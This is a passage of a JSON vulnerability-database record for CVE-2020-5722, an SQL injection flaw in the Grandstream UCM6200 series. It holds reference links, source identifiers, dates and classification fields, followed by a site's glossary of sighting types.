        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-5722"
      },
      {
        "trust": 0.7,
        "url": "https://www.exploit-db.com/exploits/48247"
      },
      {
        "trust": 0.1,
        "url": "https://cwe.mitre.org/data/definitions/89.html"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov"
      },
      {
        "trust": 0.1,
        "url": "https://threatpost.com/fast-moving-ddos-botnet-unpatched-zyxel-rce-bug/155059/"
      },
      {
        "trust": 0.1,
        "url": "http://www.grandstream.com/\","
      },
      {
        "trust": 0.1,
        "url": "https://metasploit.com/download"
      },
      {
        "trust": 0.1,
        "url": "https://github.com/rapid7/metasploit-framework"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-23201"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-5722"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-003190"
      },
      {
        "db": "PACKETSTORM",
        "id": "165708"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202003-1337"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-5722"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-23201"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-5722"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-003190"
      },
      {
        "db": "PACKETSTORM",
        "id": "165708"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202003-1337"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-5722"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2020-04-17T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2020-23201"
      },
      {
        "date": "2020-03-23T00:00:00",
        "db": "VULMON",
        "id": "CVE-2020-5722"
      },
      {
        "date": "2020-04-07T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2020-003190"
      },
      {
        "date": "2022-01-25T16:34:16",
        "db": "PACKETSTORM",
        "id": "165708"
      },
      {
        "date": "2020-03-23T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-202003-1337"
      },
      {
        "date": "2020-03-23T20:15:12.043000",
        "db": "NVD",
        "id": "CVE-2020-5722"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2020-04-17T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2020-23201"
      },
      {
        "date": "2022-02-10T00:00:00",
        "db": "VULMON",
        "id": "CVE-2020-5722"
      },
      {
        "date": "2020-04-07T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2020-003190"
      },
      {
        "date": "2022-01-26T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-202003-1337"
      },
      {
        "date": "2022-02-10T07:31:15.567000",
        "db": "NVD",
        "id": "CVE-2020-5722"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "165708"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202003-1337"
      }
    ],
    "trust": 0.7
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Grandstream UCM6200 In the series  SQL Injection vulnerabilities",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-003190"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "SQL injection",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-202003-1337"
      }
    ],
    "trust": 0.6
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.